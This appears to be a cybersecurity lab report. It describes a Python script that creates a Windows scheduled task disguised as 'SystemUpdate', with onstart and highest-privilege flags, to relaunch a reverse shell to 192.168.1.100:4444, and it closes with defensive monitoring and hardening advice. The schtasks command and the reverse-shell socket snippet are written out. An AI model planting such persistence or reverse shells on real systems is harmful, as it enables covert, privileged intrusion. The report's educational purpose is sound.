POST-EXPLOITATION & PERSISTENCE REPORT

Advanced Automation via Scheduled Tasks

LEAD ANALYST
Solomon Waikumi

DATE
April 27, 2026

TARGET ENVIRONMENT
Windows (Post-Compromise)

LAB OVERVIEW

In this laboratory engagement, the objective was to simulate advanced adversary tactics by developing a Python-based persistence mechanism. As a Junior Cybersecurity Analyst, I was tasked with engineering a script that automates the creation of a **Windows Scheduled Task** to ensure a reverse shell is executed automatically upon system startup.

TECHNICAL IMPLEMENTATION (SHELL_FINAL.PY)

Mechanism 1: Persistence through Scheduled Tasks

The script utilizes the Windows `schtasks` utility to register a persistent task named **'SystemUpdate'**. By configuring the task with the `/sc onstart` trigger and `/rl highest` privileges, the script ensures the shell maintains **administrative access** across reboots.

```
command = f'schtasks /create /tn {task_name} /tr "python {script_path}" /sc onstart /rl highest /f'
```

Mechanism 2: Reverse Shell Payload

A custom TCP socket connection is established back to the attacker's machine (IP: **192.168.1.100**, Port: **4444**). The payload creates a command loop that captures `stdout` and `stderr`, sending the combined execution results back to the remote listener.

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, ...)
```

ADVERSARY TACTICS ANALYSIS

This lab demonstrates a **"Living off the Land"** strategy. By leveraging the native Windows Task Scheduler, an adversary can blend in with standard system updates, making detection more difficult for basic security monitoring. The use of `os.path.abspath(__file__)` allows the script to dynamically find its own location on the disk, a common trait in portable malware.

SECURITY RECOMMENDATIONS

- **Monitoring:** Security Operations Centers (SOC) should monitor for the creation of new scheduled tasks by non-standard users or scripts.
- **Hardening:** Implement **AppLocker** or **Windows Defender Application Control (WDAC)** to restrict Python execution or unauthorized script paths.
- **Detection:** Use EDR solutions to flag `schtasks.exe` commands that include `/sc onstart` or `/rl highest` flags.

CONCLUSION

The successful development and execution of `shell_final.py` highlight the simplicity and effectiveness of OS-native persistence mechanisms. Understanding these workflows is essential for building robust detection and response strategies against modern threats.